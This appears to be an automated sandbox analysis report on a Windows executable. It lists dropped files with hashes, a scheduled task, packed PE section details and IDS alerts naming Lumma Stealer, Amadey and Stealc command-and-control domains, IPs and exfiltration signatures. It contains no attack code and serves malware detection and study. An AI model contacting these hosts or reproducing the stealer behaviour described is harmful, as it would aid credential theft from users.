SHA1:	A83259F31F6E78ACB9F01EB5880C72DD9CE435E7
SHA-256:	5620E7C13F5C8B19C02FB1C1C27ECEEB88FEA23598411704563C3129093B862D
SHA-512:	6A2F4443700E0AB26247C923287AC2A78CBB032457398951877F75D1CDFBCC1F417833D083DCCC37E2D772B0DC36CDA3E71EC41F0DDC451AECC6BAFC15157419
Malicious:	false
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M....D....9..u2.+..^..R.a@.].F.e..EQi.,.......m..%......w4#.....f...\..z..})..4.m....vs.....f..b..O.?.I8..o...K.,.qn...D..............+..Kub7.+..Kub7kC.R......%x....}...q..U-...(....%....V..?p.h`...55.SZ_S.^q..x.....k>r0...O...9xe7y>.v.T...Ip... .oz.`7G......i...{Z/....Nk...m.N......c)Y.`.37...i=..T..-..f.....'......b~....t...6.....q.+....]7.+..Aab7m...........5...x...(nU.j....06.f".].X.:..)...=.H.}.......$......G.............#=._.z.8..7.O..g}.a.Df!..v-."Yj...=c.#..t.E....Yt].5M".......Q..w.^5.~.o.P....3.?A\U.......?..Cp.~....E.K...9....(...0.=}.{.t4+.o...X).H*.>. .)z.....)-^.....9.....M...#..8..x.....9.i..z.=#R.=i>0..X... M..J.......u.##....Ez....U...Z8..@u.Dj....Yu?.px........(.1.0.S..@......'E.........5.8..B.;..E..q.S...f,..Z?..O..\...#B;<qr6..pw.[D.].9.G%_...........e}! .mj..?....u..6....i]&1...e..-7(VQBo....Y..6..w.'..A..=f6w,+.?..F.tA(./...h.

C:\Users\user\AppData\Local\hangbird\caliculus.zip (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	data
Category:	dropped
Size (bytes):	510574
Entropy (8bit):	6.622727339019667
Encrypted:	false
SSDEEP:	12288:q40MCF2RHzA4JoHwatPBVd1LCoD1aE/and8as/CmbO:30MCFmyQoJVjNaYa/mbO
MD5:	BD2302F160B9895DD7BCF9C7DFA9BEA7
SHA1:	8FCB264280A30CC5F959D54AE75AE394054CA5A0
SHA-256:	3EAFF063360A89395B52681248A64AA2A8ACCA6DA13EAA0194DB004FA2A612C0
SHA-512:	2847C9E4233A5F5A662027D46EE04EB4D79AD937FBDDDC54B16E72547E34414094FF56BC08016FCF31BA5769CFCA2D7849AD3EDEA438C57B34402F1E105852E6
Malicious:	false
Preview:	P)y............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................P)y......................................

C:\Users\user\AppData\Local\hangbird\is-21RVC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	943784
Entropy (8bit):	6.621472142472864
Encrypted:	false
SSDEEP:	24576:MghN1a6pzWZ12+f+Qa7N4nEIRQ1hOOLkF6av8uh:vhN1aQzJD4BuTxavfh
MD5:	3F58A517F1F4796225137E7659AD2ADB
SHA1:	E264BA0E9987B0AD0812E5DD4DD3075531CFE269
SHA-256:	1DA298CAB4D537B0B7B5DABF09BFF6A212B9E45731E0CC772F99026005FB9E48
SHA-512:	ACF740AAFCE390D06C6A76C84E7AE7C0F721731973AADBE3E57F2EB63241A01303CC6BF11A3F9A88F8BE0237998B5772BDAF569137D63BA3D0F877E7D27FC634
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......hm..,...,...,.....m.......o.......n.......[.-....h..8....h.......h..>...%t..%...%t......,........h..\|....h..-....hc.-...,........h..-...Rich,...........................PE..L...R..Z.........."...............................@.......................................@...@.......@.........................\|....P..h............J.......0.. v.........................../..........@............................................text............................... ..`.rdata..............................@..@.data...4p.......H..................@....rsrc...h....P......................@..@.reloc.. v...0...x..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\hangbird\is-2VLJU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	data
Category:	dropped
Size (bytes):	62696
Entropy (8bit):	7.997465407479189
Encrypted:	true
SSDEEP:	1536:DRJTbCqFC3mhFOwLah/4qYkDwlAzIbU7BoDwUIi1OgEYgdFGA:1tblFbGwLa2kEloOwwVEYo/
MD5:	025C4F4147CDF2A529ABA92B249A86AA
SHA1:	A83259F31F6E78ACB9F01EB5880C72DD9CE435E7
SHA-256:	5620E7C13F5C8B19C02FB1C1C27ECEEB88FEA23598411704563C3129093B862D
SHA-512:	6A2F4443700E0AB26247C923287AC2A78CBB032457398951877F75D1CDFBCC1F417833D083DCCC37E2D772B0DC36CDA3E71EC41F0DDC451AECC6BAFC15157419
Malicious:	false
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M....D....9..u2.+..^..R.a@.].F.e..EQi.,.......m..%......w4#.....f...\..z..})..4.m....vs.....f..b..O.?.I8..o...K.,.qn...D..............+..Kub7.+..Kub7kC.R......%x....}...q..U-...(....%....V..?p.h`...55.SZ_S.^q..x.....k>r0...O...9xe7y>.v.T...Ip... .oz.`7G......i...{Z/....Nk...m.N......c)Y.`.37...i=..T..-..f.....'......b~....t...6.....q.+....]7.+..Aab7m...........5...x...(nU.j....06.f".].X.:..)...=.H.}.......$......G.............#=._.z.8..7.O..g}.a.Df!..v-."Yj...=c.#..t.E....Yt].5M".......Q..w.^5.~.o.P....3.?A\U.......?..Cp.~....E.K...9....(...0.=}.{.t4+.o...X).H*.>. .)z.....)-^.....9.....M...#..8..x.....9.i..z.=#R.=i>0..X... M..J.......u.##....Ez....U...Z8..@u.Dj....Yu?.px........(.1.0.S..@......'E.........5.8..B.;..E..q.S...f,..Z?..O..\...#B;<qr6..pw.[D.].9.G%_...........e}! .mj..?....u..6....i]&1...e..-7(VQBo....Y..6..w.'..A..=f6w,+.?..F.tA(./...h.

C:\Users\user\AppData\Local\hangbird\is-69DVH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	data
Category:	dropped
Size (bytes):	62696
Entropy (8bit):	7.997465407479189
Encrypted:	true
SSDEEP:	1536:DRJTbCqFC3mhFOwLah/4qYkDwlAzIbU7BoDwUIi1OgEYgdFGA:1tblFbGwLa2kEloOwwVEYo/
MD5:	025C4F4147CDF2A529ABA92B249A86AA
SHA1:	A83259F31F6E78ACB9F01EB5880C72DD9CE435E7
SHA-256:	5620E7C13F5C8B19C02FB1C1C27ECEEB88FEA23598411704563C3129093B862D
SHA-512:	6A2F4443700E0AB26247C923287AC2A78CBB032457398951877F75D1CDFBCC1F417833D083DCCC37E2D772B0DC36CDA3E71EC41F0DDC451AECC6BAFC15157419
Malicious:	false
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M....D....9..u2.+..^..R.a@.].F.e..EQi.,.......m..%......w4#.....f...\..z..})..4.m....vs.....f..b..O.?.I8..o...K.,.qn...D..............+..Kub7.+..Kub7kC.R......%x....}...q..U-...(....%....V..?p.h`...55.SZ_S.^q..x.....k>r0...O...9xe7y>.v.T...Ip... .oz.`7G......i...{Z/....Nk...m.N......c)Y.`.37...i=..T..-..f.....'......b~....t...6.....q.+....]7.+..Aab7m...........5...x...(nU.j....06.f".].X.:..)...=.H.}.......$......G.............#=._.z.8..7.O..g}.a.Df!..v-."Yj...=c.#..t.E....Yt].5M".......Q..w.^5.~.o.P....3.?A\U.......?..Cp.~....E.K...9....(...0.=}.{.t4+.o...X).H*.>. .)z.....)-^.....9.....M...#..8..x.....9.i..z.=#R.=i>0..X... M..J.......u.##....Ez....U...Z8..@u.Dj....Yu?.px........(.1.0.S..@......'E.........5.8..B.;..E..q.S...f,..Z?..O..\...#B;<qr6..pw.[D.].9.G%_...........e}! .mj..?....u..6....i]&1...e..-7(VQBo....Y..6..w.'..A..=f6w,+.?..F.tA(./...h.

C:\Users\user\AppData\Local\hangbird\is-8C9AL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	943784
Entropy (8bit):	6.621472142472864
Encrypted:	false
SSDEEP:	24576:MghN1a6pzWZ12+f+Qa7N4nEIRQ1hOOLkF6av8uh:vhN1aQzJD4BuTxavfh
MD5:	3F58A517F1F4796225137E7659AD2ADB
SHA1:	E264BA0E9987B0AD0812E5DD4DD3075531CFE269
SHA-256:	1DA298CAB4D537B0B7B5DABF09BFF6A212B9E45731E0CC772F99026005FB9E48
SHA-512:	ACF740AAFCE390D06C6A76C84E7AE7C0F721731973AADBE3E57F2EB63241A01303CC6BF11A3F9A88F8BE0237998B5772BDAF569137D63BA3D0F877E7D27FC634
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......hm..,...,...,.....m.......o.......n.......[.-....h..8....h.......h..>...%t..%...%t......,........h..\|....h..-....hc.-...,........h..-...Rich,...........................PE..L...R..Z.........."...............................@.......................................@...@.......@.........................\|....P..h............J.......0.. v.........................../..........@............................................text............................... ..`.rdata..............................@..@.data...4p.......H..................@....rsrc...h....P......................@..@.reloc.. v...0...x..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\hangbird\is-TACJK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	data
Category:	dropped
Size (bytes):	510574
Entropy (8bit):	6.622727339019667
Encrypted:	false
SSDEEP:	12288:q40MCF2RHzA4JoHwatPBVd1LCoD1aE/and8as/CmbO:30MCFmyQoJVjNaYa/mbO
MD5:	BD2302F160B9895DD7BCF9C7DFA9BEA7
SHA1:	8FCB264280A30CC5F959D54AE75AE394054CA5A0
SHA-256:	3EAFF063360A89395B52681248A64AA2A8ACCA6DA13EAA0194DB004FA2A612C0
SHA-512:	2847C9E4233A5F5A662027D46EE04EB4D79AD937FBDDDC54B16E72547E34414094FF56BC08016FCF31BA5769CFCA2D7849AD3EDEA438C57B34402F1E105852E6
Malicious:	false
Preview:	P)y............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................P)y......................................

C:\Users\user\AppData\Local\hangbird\is-V0B5I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	data
Category:	dropped
Size (bytes):	510574
Entropy (8bit):	6.622727339019667
Encrypted:	false
SSDEEP:	12288:q40MCF2RHzA4JoHwatPBVd1LCoD1aE/and8as/CmbO:30MCFmyQoJVjNaYa/mbO
MD5:	BD2302F160B9895DD7BCF9C7DFA9BEA7
SHA1:	8FCB264280A30CC5F959D54AE75AE394054CA5A0
SHA-256:	3EAFF063360A89395B52681248A64AA2A8ACCA6DA13EAA0194DB004FA2A612C0
SHA-512:	2847C9E4233A5F5A662027D46EE04EB4D79AD937FBDDDC54B16E72547E34414094FF56BC08016FCF31BA5769CFCA2D7849AD3EDEA438C57B34402F1E105852E6
Malicious:	false
Preview:	P)y............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................P)y......................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.339781109735281
Encrypted:	false
SSDEEP:	6:CASTXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBsRzt0:Cxf2RKQ1CGAFAjzvYRQVBsRzt0
MD5:	A5A05801E6AA73F4B2CFFC12E2EF020D
SHA1:	5AA23FCC45B80A34D0E5CE42960127B50D6B8164
SHA-256:	20B361B3E1B5BAD8765DC99EACF5BE196C5BE37D7D29D86683F70785FEBFCF7F
SHA-512:	F0AD2AEF96C818A367064D1C6162DF7A99C2F3B22DBD67A5615C343ED8DDA9F5BD1058A60FE231FB3D90CC81190BFECC93FCBFDF75948D40BCAACA7614ABA7AD
Malicious:	false
Preview:	.....t}...E..LN..%9F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................9.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.555394345055829
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'900'480 bytes
MD5:	2422d51ed6d21df3ce5591f3b0a03125
SHA1:	4ec30e94c8c554a45adbc0826e3b97fdf40b0741
SHA256:	98727c9ef422f67f6858530e833b101bf235d8e78b363c201fd0f0125c861c2c
SHA512:	6f20c400e4f871950f86e9e3c800732ecdd71ab30d1090ac4e0c2dd085a6c3f5089adf4ae1ac332b6ce5fc693f217942d323decd3ec902fe0f3c7aa5272be6f4
SSDEEP:	24576:lFsMrw991f3oE5c/JDuEJFvQec4FcPt1fc9wlyPHKZGHFlCRqxMZ4KJeRXYAoFcU:l7rw99mqVdPt1fLUzuqUymB1rLgb1P
TLSH:	39D54BD5B94A71CFD49A2674812BCF46996C4BF44B2048D3A87C74BA7E73CC116FAC28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........P/...........@.........................../.....?.,...@.................................T...h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x6f5000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FEDA493DB4Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	89690aa8b48362d94e1c0f30d013ef89	False	0.9979366673197492	data	7.971690331249355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xtefpcuz	0x5b000	0x299000	0x298800	3637a9189c3754029011cd373db607a4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uqweurro	0x2f4000	0x1000	0x400	14595de8bbe209722bc15bc2635325ab	False	0.7421875	data	5.880983878765401	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f5000	0x3000	0x2200	8dac433fa0ded6759602d54f15c59602	False	0.3636259191176471	DOS executable (COM)	3.9409909959572755	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T10:55:54.939885+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	61870	1.1.1.1	53	UDP
2024-11-01T10:55:54.951112+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	56920	1.1.1.1	53	UDP
2024-11-01T10:55:54.961783+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	61392	1.1.1.1	53	UDP
2024-11-01T10:55:54.972082+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	56160	1.1.1.1	53	UDP
2024-11-01T10:55:54.982388+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	57060	1.1.1.1	53	UDP
2024-11-01T10:55:55.655613+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-11-01T10:55:55.655613+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	188.114.97.3	443	TCP
2024-11-01T10:55:56.295066+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-11-01T10:55:56.295066+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-11-01T10:55:56.948469+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-11-01T10:55:56.948469+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	188.114.97.3	443	TCP
2024-11-01T10:55:57.410576+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-11-01T10:55:57.410576+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-11-01T10:55:58.229241+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49732	188.114.97.3	443	TCP
2024-11-01T10:55:58.229241+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	188.114.97.3	443	TCP
2024-11-01T10:55:59.600939+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49733	188.114.97.3	443	TCP
2024-11-01T10:55:59.600939+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	188.114.97.3	443	TCP
2024-11-01T10:56:01.098720+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49734	188.114.97.3	443	TCP
2024-11-01T10:56:01.098720+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	188.114.97.3	443	TCP
2024-11-01T10:56:02.788751+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49735	188.114.97.3	443	TCP
2024-11-01T10:56:02.788751+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	188.114.97.3	443	TCP
2024-11-01T10:56:04.266060+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-11-01T10:56:04.266060+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	188.114.97.3	443	TCP
2024-11-01T10:56:04.274779+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-11-01T10:56:08.454124+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49737	188.114.97.3	443	TCP
2024-11-01T10:56:08.454124+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	188.114.97.3	443	TCP
2024-11-01T10:56:08.914903+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	188.114.97.3	443	TCP
2024-11-01T10:56:09.811584+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49738	185.215.113.16	80	TCP
2024-11-01T10:56:13.594462+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49739	TCP
2024-11-01T10:57:05.803131+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49801	185.215.113.43	80	TCP
2024-11-01T10:57:09.189273+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49820	31.41.244.11	80	TCP
2024-11-01T10:57:13.848491+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49817	TCP
2024-11-01T10:57:14.751761+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49854	185.215.113.43	80	TCP
2024-11-01T10:57:18.129007+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49870	185.215.113.43	80	TCP
2024-11-01T10:57:19.056280+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49878	185.215.113.16	80	TCP
2024-11-01T10:57:23.947430+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	51178	1.1.1.1	53	UDP
2024-11-01T10:57:23.960149+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	59295	1.1.1.1	53	UDP
2024-11-01T10:57:23.976834+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	52094	1.1.1.1	53	UDP
2024-11-01T10:57:23.989484+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	57952	1.1.1.1	53	UDP
2024-11-01T10:57:24.031005+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49903	185.215.113.43	80	TCP
2024-11-01T10:57:24.618615+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49910	188.114.97.3	443	TCP
2024-11-01T10:57:24.618615+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49910	188.114.97.3	443	TCP
2024-11-01T10:57:24.967780+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49911	185.215.113.16	80	TCP
2024-11-01T10:57:25.116387+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49910	188.114.97.3	443	TCP
2024-11-01T10:57:25.116387+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49910	188.114.97.3	443	TCP
2024-11-01T10:57:26.435960+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49920	188.114.97.3	443	TCP
2024-11-01T10:57:26.435960+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49920	188.114.97.3	443	TCP
2024-11-01T10:57:27.126012+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49920	188.114.97.3	443	TCP
2024-11-01T10:57:27.126012+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49920	188.114.97.3	443	TCP
2024-11-01T10:57:29.087395+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49932	188.114.97.3	443	TCP
2024-11-01T10:57:29.087395+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49932	188.114.97.3	443	TCP
2024-11-01T10:57:29.661291+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49933	185.215.113.206	80	TCP
2024-11-01T10:57:29.685775+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49932	188.114.97.3	443	TCP
2024-11-01T10:57:29.777968+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49939	185.215.113.43	80	TCP
2024-11-01T10:57:30.593139+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49946	188.114.97.3	443	TCP
2024-11-01T10:57:30.593139+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49946	188.114.97.3	443	TCP
2024-11-01T10:57:30.691189+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49945	185.215.113.16	80	TCP
2024-11-01T10:57:32.410702+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49957	188.114.97.3	443	TCP
2024-11-01T10:57:32.410702+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49957	188.114.97.3	443	TCP
2024-11-01T10:57:34.817911+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49971	185.215.113.43	80	TCP
2024-11-01T10:57:34.971278+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	53957	1.1.1.1	53	UDP
2024-11-01T10:57:34.989474+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	49332	1.1.1.1	53	UDP
2024-11-01T10:57:35.002780+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	49916	1.1.1.1	53	UDP
2024-11-01T10:57:35.016801+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	50317	1.1.1.1	53	UDP
2024-11-01T10:57:35.675617+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49978	188.114.97.3	443	TCP
2024-11-01T10:57:35.675617+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49978	188.114.97.3	443	TCP
2024-11-01T10:57:35.746152+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49975	185.215.113.16	80	TCP
2024-11-01T10:57:35.746152+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49975	185.215.113.16	80	TCP
2024-11-01T10:57:36.385014+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49978	188.114.97.3	443	TCP
